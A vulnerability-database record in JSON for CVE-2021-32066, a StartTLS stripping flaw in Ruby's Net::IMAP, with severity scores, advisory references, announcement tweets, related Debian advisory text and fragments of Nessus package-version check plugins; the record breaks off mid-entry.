An issue was discovered in Ruby through 2.6.7, 2.7.x through 2.7.3, and 3.x through 3.0.1. Net::IMAP does not raise an exception when StartTLS fails with an an unknown response, which might allow man-in-the-middle attackers to bypass the TLS protections by leveraging a network position between the client and the registry to block the StartTLS command, aka a "StartTLS stripping attack."
{"id": "CVE-2021-32066", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2021-32066", "description": "An issue was discovered in Ruby through 2.6.7, 2.7.x through 2.7.3, and 3.x through 3.0.1. Net::IMAP does not raise an exception when StartTLS fails with an an unknown response, which might allow man-in-the-middle attackers to bypass the TLS protections by leveraging a network position between the client and the registry to block the StartTLS command, aka a \"StartTLS stripping attack.\"", "published": "2021-08-01T19:15:00", "modified": "2023-04-30T23:15:00", "epss": [{"cve": "CVE-2021-32066", "epss": 0.00178, "percentile": 0.53566, "modified": "2023-05-27"}], "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE", "baseScore": 5.8}, "severity": "MEDIUM", "exploitabilityScore": 8.6, "impactScore": 4.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE", "baseScore": 7.4, "baseSeverity": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.2}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-32066", "reporter": "cve@mitre.org", "references": ["https://github.com/ruby/ruby/commit/a21a3b7d23704a01d34bd79d09dc37897e00922a", "https://www.ruby-lang.org/en/news/2021/07/07/starttls-stripping-in-net-imap/", "https://hackerone.com/reports/1178562", "https://security.netapp.com/advisory/ntap-20210902-0004/", "https://lists.debian.org/debian-lts-announce/2021/10/msg00009.html", "https://www.oracle.com/security-alerts/cpuapr2022.html", "https://lists.debian.org/debian-lts-announce/2023/04/msg00033.html"], "cvelist": ["CVE-2021-32066"], "immutableFields": [], "lastseen": "2023-05-27T14:43:57", "viewCount": 218, "enchantments": {"dependencies": {"references": [{"type": "almalinux", "idList": ["ALSA-2021:3020", "ALSA-2022:0543", "ALSA-2022:0672"]}, {"type": "alpinelinux", "idList": ["ALPINE:CVE-2021-32066"]}, {"type": "archlinux", "idList": ["ASA-202107-23", "ASA-202107-24", "ASA-202107-25"]}, {"type": "cloudfoundry", "idList": ["CFOUNDRY:CA1E516EDCCC9374FF11C6A16654C453"]}, {"type": "debian", "idList": ["DEBIAN:DLA-2780-1:A0FD9", "DEBIAN:DSA-5066-1:E9961"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2021-32066"]}, {"type": "fedora", "idList": ["FEDORA:E71E730A5979"]}, {"type": "freebsd", "idList": ["7ED5779C-E4C7-11EB-91D7-08002728F74C"]}, {"type": "hackerone", "idList": ["H1:1178562"]}, {"type": "mageia", "idList": ["MGASA-2021-0579"]}, {"type": "nessus", "idList": ["ALMA_LINUX_ALSA-2022-0543.NASL", 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"REDHAT-RHSA-2022-0708.NASL", "SUSE_SU-2021-3837-1.NASL", "SUSE_SU-2021-3838-1.NASL", "SUSE_SU-2022-1512-1.NASL", "UBUNTU_USN-5020-1.NASL"]}, {"type": "oracle", "idList": ["ORACLE:CPUAPR2022"]}, {"type": "oraclelinux", "idList": ["ELSA-2021-3020", "ELSA-2022-0543", "ELSA-2022-0672", "ELSA-2022-0672-1"]}, {"type": "osv", "idList": ["OSV:DLA-2780-1", "OSV:DLA-3408-1", "OSV:DSA-5066-1"]}, {"type": "photon", "idList": ["PHSA-2021-0084", "PHSA-2021-4.0-0084"]}, {"type": "redhat", "idList": ["RHSA-2021:3020", "RHSA-2021:3559", "RHSA-2021:3982", "RHSA-2022:0543", "RHSA-2022:0544", "RHSA-2022:0581", "RHSA-2022:0582", "RHSA-2022:0672", "RHSA-2022:0708"]}, {"type": "redhatcve", "idList": ["RH:CVE-2021-32066"]}, {"type": "rocky", "idList": ["RLSA-2021:3020", "RLSA-2022:0543", "RLSA-2022:0672"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2021:1535-1", "OPENSUSE-SU-2021:3838-1", "SUSE-SU-2022:1512-1"]}, {"type": "ubuntu", "idList": ["USN-5020-1"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2021-32066"]}, {"type": "veracode", "idList": ["VERACODE:31167"]}]}, "score": {"value": 3.5, "vector": "NONE"}, "twitter": {"counter": 8, "tweets": [{"link": "https://twitter.com/threatmeter/status/1422092061906513921", "text": "CVE-2021-32066 An issue was discovered in Ruby through 2.6.7, 2.7.x through 2.7.3, and 3.x through 3.0.1. Net::IMAP does not raise an exception when StartTLS fails with an an unknown response, which might allow man-in-the-middle attackers to bypass the T\u2026 https://t.co/7bfvhxEnLK?amp=1"}, {"link": "https://twitter.com/management_sun/status/1423498210438385667", "text": "IT Risk:Red Hat.ruby2.7\u306b\u8907\u6570\u306e\u8106\u5f31\u6027\nCVE-2021-32066 CVE-2021-31810 CVE-2021-31799 CVE-2020-36327 \nhttps://t.co/M7PkJ8ypO0?amp=1\nhttps://t.co/l8da1FlqIL?amp=1"}, {"link": "https://twitter.com/management_sun/status/1423498235335692290", "text": "IT Risk:Multiple vulnerabilities in Red Hat.ruby 2.7\nCVE-2021-32066 CVE-2021-31810 CVE-2021-31799 CVE-2020-36327 \nhttps://t.co/M7PkJ8ypO0?amp=1\nhttps://t.co/l8da1FlqIL?amp=1"}, {"link": "https://twitter.com/WolfgangSesin/status/1425100916236197897", "text": "New post from https://t.co/uXvPWJy6tj?amp=1 (CVE-2021-32066 (ruby)) has been published on https://t.co/oFUDswBozs?amp=1"}, {"link": "https://twitter.com/threatintelctr/status/1524090206256775169", "text": " NEW: CVE-2021-32066 An issue was discovered in Ruby through 2.6.7, 2.7.x through 2.7.3, and 3.x through 3.0.1. Net::IMAP does not raise an exception when StartTLS fails with an an unknown response, which might ... (click for more) Severity: HIGH https://t.co/fwh3lnha46", "author": "threatintelctr", "author_photo": "https://pbs.twimg.com/profile_images/904224973987840000/dMy1x9Ho_400x400.jpg"}, {"link": "https://twitter.com/www_sesin_at/status/1524122347783008257", "text": "New post from https://t.co/9KYxtdZjkl (CVE-2021-32066 (jd_edwards_enterpriseone_tools, ruby)) has been published on https://t.co/7ARu4ab94Y", "author": "www_sesin_at", "author_photo": "https://pbs.twimg.com/profile_images/958100963822329858/fb_N8h5n_400x400.jpg"}, {"link": "https://twitter.com/WolfgangSesin/status/1524122346524745728", "text": "New post from https://t.co/uXvPWJy6tj (CVE-2021-32066 (jd_edwards_enterpriseone_tools, ruby)) has been published on https://t.co/4mTcroZyAg", "author": "WolfgangSesin", "author_photo": "https://pbs.twimg.com/profile_images/957011635369054208/Om3jbj7z_400x400.jpg"}]}, "backreferences": {"references": [{"type": "almalinux", "idList": ["ALSA-2021:3020", "ALSA-2022:0543"]}, {"type": "archlinux", "idList": ["ASA-202107-23", "ASA-202107-24", "ASA-202107-25"]}, {"type": "cloudfoundry", "idList": ["CFOUNDRY:CA1E516EDCCC9374FF11C6A16654C453"]}, {"type": "debian", "idList": ["DEBIAN:DLA-2780-1:A0FD9"]}, {"type": "debiancve", "idList": ["DEBIANCVE:CVE-2021-32066"]}, {"type": "fedora", "idList": ["FEDORA:E71E730A5979"]}, {"type": "freebsd", "idList": ["7ED5779C-E4C7-11EB-91D7-08002728F74C"]}, {"type": "hackerone", "idList": ["H1:1178562"]}, {"type": "nessus", "idList": ["CENTOS8_RHSA-2021-3020.NASL", "CENTOS8_RHSA-2022-0543.NASL", "DEBIAN_DLA-2780.NASL", "EULEROS_SA-2021-2486.NASL", "EULEROS_SA-2022-1093.NASL", "EULEROS_SA-2022-1144.NASL", "FREEBSD_PKG_7ED5779CE4C711EB91D708002728F74C.NASL", "ORACLELINUX_ELSA-2021-3020.NASL", "ORACLELINUX_ELSA-2022-0543.NASL", "REDHAT-RHSA-2021-3020.NASL", "REDHAT-RHSA-2022-0543.NASL", "REDHAT-RHSA-2022-0544.NASL", "UBUNTU_USN-5020-1.NASL"]}, {"type": "oraclelinux", "idList": ["ELSA-2021-3020", "ELSA-2022-0543"]}, {"type": "photon", "idList": ["PHSA-2021-4.0-0084"]}, {"type": "redhat", "idList": ["RHSA-2022:0543", "RHSA-2022:0544"]}, {"type": "redhatcve", "idList": ["RH:CVE-2021-32066"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2021:3838-1"]}, {"type": "ubuntu", "idList": ["USN-5020-1"]}, {"type": "ubuntucve", "idList": ["UB:CVE-2021-32066"]}]}, "exploitation": null, "affected_software": {"major_version": [{"name": "ruby-lang ruby", "version": 3}, {"name": "ruby-lang ruby", "version": 2}, {"name": "ruby-lang ruby", "version": 2}, {"name": "oracle jd edwards enterpriseone tools", "version": 9}]}, "epss": [{"cve": "CVE-2021-32066", "epss": 0.00166, "percentile": 0.51772, "modified": "2023-05-07"}], "vulnersScore": 3.5}, "_state": {"dependencies": 1685211539, "twitter": 0, "score": 1685200094, "affected_software_major_version": 0, "epss": 0}, "_internal": {"score_hash": "9271027dee815f893c4dc95fbea3713f"}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": ["cpe:/a:ruby-lang:ruby:3.0.1", "cpe:/a:ruby-lang:ruby:2.6.7", "cpe:/a:ruby-lang:ruby:2.7.3"], "cpe23": ["cpe:2.3:a:ruby-lang:ruby:2.7.3:*:*:*:*:*:*:*", "cpe:2.3:a:ruby-lang:ruby:2.6.7:*:*:*:*:*:*:*", "cpe:2.3:a:ruby-lang:ruby:3.0.1:*:*:*:*:*:*:*"], "cwe": ["CWE-326"], "affectedSoftware": [{"cpeName": "ruby-lang:ruby", "version": "3.0.1", "operator": "le", "name": "ruby-lang ruby"}, {"cpeName": "ruby-lang:ruby", "version": "2.7.3", "operator": "le", "name": "ruby-lang ruby"}, {"cpeName": "ruby-lang:ruby", "version": "2.6.7", "operator": "le", "name": "ruby-lang ruby"}, {"cpeName": "oracle:jd_edwards_enterpriseone_tools", "version": "9.2.6.1", "operator": "lt", "name": "oracle jd edwards enterpriseone tools"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:ruby-lang:ruby:3.0.1:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndIncluding": "3.0.1", "cpe_name": []}, {"vulnerable": true, "cpe23Uri": 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{"url": "https://hackerone.com/reports/1178562", "name": "https://hackerone.com/reports/1178562", "refsource": "MISC", "tags": ["Exploit", "Patch", "Third Party Advisory"]}, {"url": "https://security.netapp.com/advisory/ntap-20210902-0004/", "name": "https://security.netapp.com/advisory/ntap-20210902-0004/", "refsource": "CONFIRM", "tags": ["Third Party Advisory"]}, {"url": "https://lists.debian.org/debian-lts-announce/2021/10/msg00009.html", "name": "[debian-lts-announce] 20211013 [SECURITY] [DLA 2780-1] ruby2.3 security update", "refsource": "MLIST", "tags": ["Third Party Advisory"]}, {"url": "https://www.oracle.com/security-alerts/cpuapr2022.html", "name": "https://www.oracle.com/security-alerts/cpuapr2022.html", "refsource": "MISC", "tags": ["Patch", "Third Party Advisory"]}, {"url": "https://lists.debian.org/debian-lts-announce/2023/04/msg00033.html", "name": "[debian-lts-announce] 20230430 [SECURITY] [DLA 3408-1] jruby security update", "refsource": "MLIST", "tags": []}], "product_info": [{"vendor": "Ruby-lang", "product": "Ruby"}, {"vendor": "Oracle", "product": "Jd_edwards_enterpriseone_tools"}], "solutions": [], "workarounds": [], "impacts": [], "problemTypes": [{"descriptions": [{"type": "text", "lang": "en", "description": "n/a"}]}], "exploits": [], "assigned": "1976-01-01T00:00:00"}
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'content/eus/rhel8/8.4/s390x/supplementary/os',\n 'content/eus/rhel8/8.4/s390x/supplementary/source/SRPMS',\n 'content/eus/rhel8/8.4/x86_64/appstream/debug',\n 'content/eus/rhel8/8.4/x86_64/appstream/os',\n 'content/eus/rhel8/8.4/x86_64/appstream/source/SRPMS',\n 'content/eus/rhel8/8.4/x86_64/baseos/debug',\n 'content/eus/rhel8/8.4/x86_64/baseos/os',\n 'content/eus/rhel8/8.4/x86_64/baseos/source/SRPMS',\n 'content/eus/rhel8/8.4/x86_64/codeready-builder/debug',\n 'content/eus/rhel8/8.4/x86_64/codeready-builder/os',\n 'content/eus/rhel8/8.4/x86_64/codeready-builder/source/SRPMS',\n 'content/eus/rhel8/8.4/x86_64/highavailability/debug',\n 'content/eus/rhel8/8.4/x86_64/highavailability/os',\n 'content/eus/rhel8/8.4/x86_64/highavailability/source/SRPMS',\n 'content/eus/rhel8/8.4/x86_64/resilientstorage/debug',\n 'content/eus/rhel8/8.4/x86_64/resilientstorage/os',\n 'content/eus/rhel8/8.4/x86_64/resilientstorage/source/SRPMS',\n 'content/eus/rhel8/8.4/x86_64/sap-solutions/debug',\n 'content/eus/rhel8/8.4/x86_64/sap-solutions/os',\n 'content/eus/rhel8/8.4/x86_64/sap-solutions/source/SRPMS',\n 'content/eus/rhel8/8.4/x86_64/sap/debug',\n 'content/eus/rhel8/8.4/x86_64/sap/os',\n 'content/eus/rhel8/8.4/x86_64/sap/source/SRPMS',\n 'content/eus/rhel8/8.4/x86_64/supplementary/debug',\n 'content/eus/rhel8/8.4/x86_64/supplementary/os',\n 'content/eus/rhel8/8.4/x86_64/supplementary/source/SRPMS',\n 'content/tus/rhel8/8.4/x86_64/appstream/debug',\n 'content/tus/rhel8/8.4/x86_64/appstream/os',\n 'content/tus/rhel8/8.4/x86_64/appstream/source/SRPMS',\n 'content/tus/rhel8/8.4/x86_64/baseos/debug',\n 'content/tus/rhel8/8.4/x86_64/baseos/os',\n 'content/tus/rhel8/8.4/x86_64/baseos/source/SRPMS',\n 'content/tus/rhel8/8.4/x86_64/highavailability/debug',\n 'content/tus/rhel8/8.4/x86_64/highavailability/os',\n 'content/tus/rhel8/8.4/x86_64/highavailability/source/SRPMS',\n 'content/tus/rhel8/8.4/x86_64/nfv/debug',\n 'content/tus/rhel8/8.4/x86_64/nfv/os',\n 'content/tus/rhel8/8.4/x86_64/nfv/source/SRPMS',\n 'content/tus/rhel8/8.4/x86_64/rt/debug',\n 'content/tus/rhel8/8.4/x86_64/rt/os',\n 'content/tus/rhel8/8.4/x86_64/rt/source/SRPMS'\n ],\n 'pkgs': [\n {'reference':'ruby-2.6.9-108.module+el8.4.0+14070+b3717926', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'ruby-devel-2.6.9-108.module+el8.4.0+14070+b3717926', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'ruby-doc-2.6.9-108.module+el8.4.0+14070+b3717926', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'ruby-libs-2.6.9-108.module+el8.4.0+14070+b3717926', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygem-abrt-0.3.0-4.module+el8.1.0+3653+beb38eb0', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygem-abrt-doc-0.3.0-4.module+el8.1.0+3653+beb38eb0', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygem-bigdecimal-1.4.1-108.module+el8.4.0+14070+b3717926', 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{'reference':'rubygem-minitest-5.11.3-108.module+el8.4.0+14070+b3717926', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygem-mongo-2.8.0-1.module+el8.1.0+3653+beb38eb0', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygem-mongo-doc-2.8.0-1.module+el8.1.0+3653+beb38eb0', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygem-mysql2-0.5.2-1.module+el8.1.0+3653+beb38eb0', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygem-mysql2-doc-0.5.2-1.module+el8.1.0+3653+beb38eb0', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygem-net-telnet-0.2.0-108.module+el8.4.0+14070+b3717926', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygem-openssl-2.1.2-108.module+el8.4.0+14070+b3717926', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygem-pg-1.1.4-1.module+el8.1.0+3653+beb38eb0', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygem-pg-doc-1.1.4-1.module+el8.1.0+3653+beb38eb0', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygem-power_assert-1.1.3-108.module+el8.4.0+14070+b3717926', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygem-psych-3.1.0-108.module+el8.4.0+14070+b3717926', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygem-rake-12.3.3-108.module+el8.4.0+14070+b3717926', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygem-rdoc-6.1.2.1-108.module+el8.4.0+14070+b3717926', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygem-test-unit-3.2.9-108.module+el8.4.0+14070+b3717926', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygem-xmlrpc-0.3.0-108.module+el8.4.0+14070+b3717926', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygems-3.0.3.1-108.module+el8.4.0+14070+b3717926', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE},\n {'reference':'rubygems-devel-3.0.3.1-108.module+el8.4.0+14070+b3717926', 'sp':'4', 'release':'8', 'rpm_spec_vers_cmp':TRUE}\n ]\n }\n ]\n};\n\nvar applicable_repo_urls = rhel_determine_applicable_repository_urls(constraints:appstreams, appstreams:TRUE);\nif(applicable_repo_urls == RHEL_REPOS_NO_OVERLAP_MESSAGE) exit(0, RHEL_REPO_NOT_ENABLED);\n\nvar module_ver = get_kb_item('Host/RedHat/appstream/ruby');\nif (isnull(module_ver)) audit(AUDIT_PACKAGE_NOT_INSTALLED, 'Module ruby:2.6');\nif ('2.6' >!< module_ver) audit(AUDIT_PACKAGE_NOT_AFFECTED, 'Module ruby:' + module_ver);\n\nvar flag = 0;\nvar appstreams_found = 0;\nforeach var module (keys(appstreams)) {\n var appstream = NULL;\n var appstream_name = NULL;\n var appstream_version = NULL;\n var appstream_split = split(module, sep:':', keep:FALSE);\n if (!empty_or_null(appstream_split)) {\n appstream_name = appstream_split[0];\n appstream_version = appstream_split[1];\n if (!empty_or_null(appstream_name)) appstream = get_one_kb_item('Host/RedHat/appstream/' + appstream_name);\n }\n if (!empty_or_null(appstream) && appstream_version == appstream || appstream_name == 'all') {\n appstreams_found++;\n foreach var module_array ( appstreams[module] ) {\n var repo_relative_urls = NULL;\n if (!empty_or_null(module_array['repo_relative_urls'])) repo_relative_urls = module_array['repo_relative_urls'];\n foreach var package_array ( module_array['pkgs'] ) {\n var reference = NULL;\n var _release = NULL;\n var sp = NULL;\n var _cpu = NULL;\n var el_string = NULL;\n var rpm_spec_vers_cmp = NULL;\n var epoch = NULL;\n var allowmaj = NULL;\n var exists_check = NULL;\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) _release = 'RHEL' + package_array['release'];\n if (!empty_or_null(package_array['sp'])) sp = package_array['sp'];\n if (!empty_or_null(package_array['cpu'])) _cpu = package_array['cpu'];\n if (!empty_or_null(package_array['el_string'])) el_string = package_array['el_string'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if (!empty_or_null(package_array['epoch'])) epoch = package_array['epoch'];\n if (!empty_or_null(package_array['allowmaj'])) allowmaj = package_array['allowmaj'];\n if (!empty_or_null(package_array['exists_check'])) exists_check = package_array['exists_check'];\n if (reference &&\n _release &&\n rhel_decide_repo_relative_url_check(required_repo_url_list:repo_relative_urls) &&\n (applicable_repo_urls || (!exists_check || rpm_exists(release:_release, rpm:exists_check))) &&\n rpm_check(release:_release, sp:sp, cpu:_cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj)) flag++;\n }\n }\n }\n}\n\nif (!appstreams_found) audit(AUDIT_PACKAGE_NOT_INSTALLED, 'Module ruby:2.6');\n\nif (flag)\n{\n var subscription_caveat = '\\n' +\n 'NOTE: This vulnerability check contains fixes that apply to\\n' +\n 'packages only available in the Red Hat Enterprise Linux\\n' +\n 'Advanced Update Support, Extended Update Support, Telco Extended Update Support or Update Services for SAP Solutions repositories.\\n' +\n 'Access to these repositories requires a paid RHEL subscription.\\n';\n var extra = NULL;\n if (empty_or_null(applicable_repo_urls)) extra = subscription_caveat + rpm_report_get() + redhat_report_repo_caveat();\n else extra = subscription_caveat + rpm_report_get();\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : extra\n );\n exit(0);\n}\nelse\n{\n var tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'ruby / ruby-devel / ruby-doc / ruby-libs / rubygem-abrt / etc');\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-09-24T15:37:32", "description": "The remote Debian 10 host has packages installed that are affected by multiple vulnerabilities as referenced in the dsa-5066 advisory.\n\n - The REXML gem before 3.2.5 in Ruby before 2.6.7, 2.7.x before 2.7.3, and 3.x before 3.0.1 does not properly address XML round-trip issues. An incorrect document can be produced after parsing and serializing. (CVE-2021-28965)\n\n - In RDoc 3.11 through 6.x before 6.3.1, as distributed with Ruby through 3.0.1, it is possible to execute arbitrary code via | and tags in a filename. (CVE-2021-31799)\n\n - An issue was discovered in Ruby through 2.6.7, 2.7.x through 2.7.3, and 3.x through 3.0.1. A malicious FTP server can use the PASV response to trick Net::FTP into connecting back to a given IP address and port.\n This potentially makes curl extract information about services that are otherwise private and not disclosed (e.g., the attacker can conduct port scans and service banner extractions). (CVE-2021-31810)\n\n - An issue was discovered in Ruby through 2.6.7, 2.7.x through 2.7.3, and 3.x through 3.0.1. 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foreach var module_array ( appstreams[module] ) {\n var repo_relative_urls = NULL;\n if (!empty_or_null(module_array['repo_relative_urls'])) repo_relative_urls = module_array['repo_relative_urls'];\n foreach var package_array ( module_array['pkgs'] ) {\n var reference = NULL;\n var _release = NULL;\n var sp = NULL;\n var _cpu = NULL;\n var el_string = NULL;\n var rpm_spec_vers_cmp = NULL;\n var epoch = NULL;\n var allowmaj = NULL;\n var exists_check = NULL;\n if (!empty_or_null(package_array['reference'])) reference = package_array['reference'];\n if (!empty_or_null(package_array['release'])) _release = 'RHEL' + package_array['release'];\n if (!empty_or_null(package_array['sp'])) sp = package_array['sp'];\n if (!empty_or_null(package_array['cpu'])) _cpu = package_array['cpu'];\n if (!empty_or_null(package_array['el_string'])) el_string = package_array['el_string'];\n if (!empty_or_null(package_array['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = package_array['rpm_spec_vers_cmp'];\n if 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Support or Update Services for SAP Solutions repositories.\\n' +\n 'Access to these repositories requires a paid RHEL subscription.\\n';\n var extra = NULL;\n if (empty_or_null(applicable_repo_urls)) extra = subscription_caveat + rpm_report_get() + redhat_report_repo_caveat();\n else extra = subscription_caveat + rpm_report_get();\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : extra\n );\n exit(0);\n}\nelse\n{\n var tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'ruby / ruby-devel / ruby-doc / ruby-libs / rubygem-abrt / etc');\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}], "alpinelinux": [{"lastseen": "2023-06-23T11:06:46", "description": "An issue was discovered in Ruby through 2.6.7, 2.7.x through 2.7.3, and 3.x through 3.0.1. Net::IMAP does not raise an exception when StartTLS fails with an an unknown response, which might allow man-in-the-middle attackers to bypass the TLS protections by leveraging a network position between the client and the registry to block the StartTLS command, aka a \"StartTLS stripping attack.\"", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.4, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2021-08-01T19:15:00", "type": "alpinelinux", "title": "CVE-2021-32066", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-32066"], "modified": "2023-04-30T23:15:00", "id": "ALPINE:CVE-2021-32066", "href": "https://security.alpinelinux.org/vuln/CVE-2021-32066", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "osv": [{"lastseen": "2023-08-09T15:06:05", "description": "An issue was discovered in Ruby through 2.6.7, 2.7.x through 2.7.3, and 3.x through 3.0.1. Net::IMAP does not raise an exception when StartTLS fails with an an unknown response, which might allow man-in-the-middle attackers to bypass the TLS protections by leveraging a network position between the client and the registry to block the StartTLS command, aka a \"StartTLS stripping attack.\"", "cvss3": {}, "published": "2021-08-01T19:15:00", "type": "osv", "title": "CVE-2021-32066", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2021-32066"], "modified": "2023-08-09T15:04:33", "id": "OSV:CVE-2021-32066", "href": "https://osv.dev/vulnerability/CVE-2021-32066", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-06-28T06:21:26", "description": "\nMultiple vulnerabilites in ruby2.3, interpreter of object-oriented\nscripting language Ruby, were discovered.\n\n\n* [CVE-2021-31799](https://security-tracker.debian.org/tracker/CVE-2021-31799)\nIn RDoc 3.11 through 6.x before 6.3.1, as distributed with\n Ruby through 2.3.3, it is possible to execute arbitrary\n code via | and tags in a filename.\n* [CVE-2021-31810](https://security-tracker.debian.org/tracker/CVE-2021-31810)\nAn issue was discovered in Ruby through 2.3.3. A malicious\n FTP server can use the PASV response to trick Net::FTP into\n connecting back to a given IP address and port. This\n potentially makes curl extract information about services\n that are otherwise private and not disclosed (e.g., the\n attacker can conduct port scans and service banner extractions).\n* [CVE-2021-32066](https://security-tracker.debian.org/tracker/CVE-2021-32066)\nAn issue was discovered in Ruby through 2.3.3. Net::IMAP does\n not raise an exception when StartTLS fails with an an unknown\n response, which might allow man-in-the-middle attackers to\n bypass the TLS protections by leveraging a network position\n between the client and the registry to block the StartTLS\n command, aka a \"StartTLS stripping attack.\"\n\n\nFor Debian 9 stretch, these problems have been fixed in version\n2.3.3-1+deb9u10.\n\n\nWe recommend that you upgrade your ruby2.3 packages.\n\n\nFor the detailed security status of ruby2.3 please refer to\nits security tracker page at:\n<https://security-tracker.debian.org/tracker/ruby2.3>\n\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: <https://wiki.debian.org/LTS>\n\n\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.4, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2021-10-13T00:00:00", "type": "osv", "title": "ruby2.3 - security update", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, 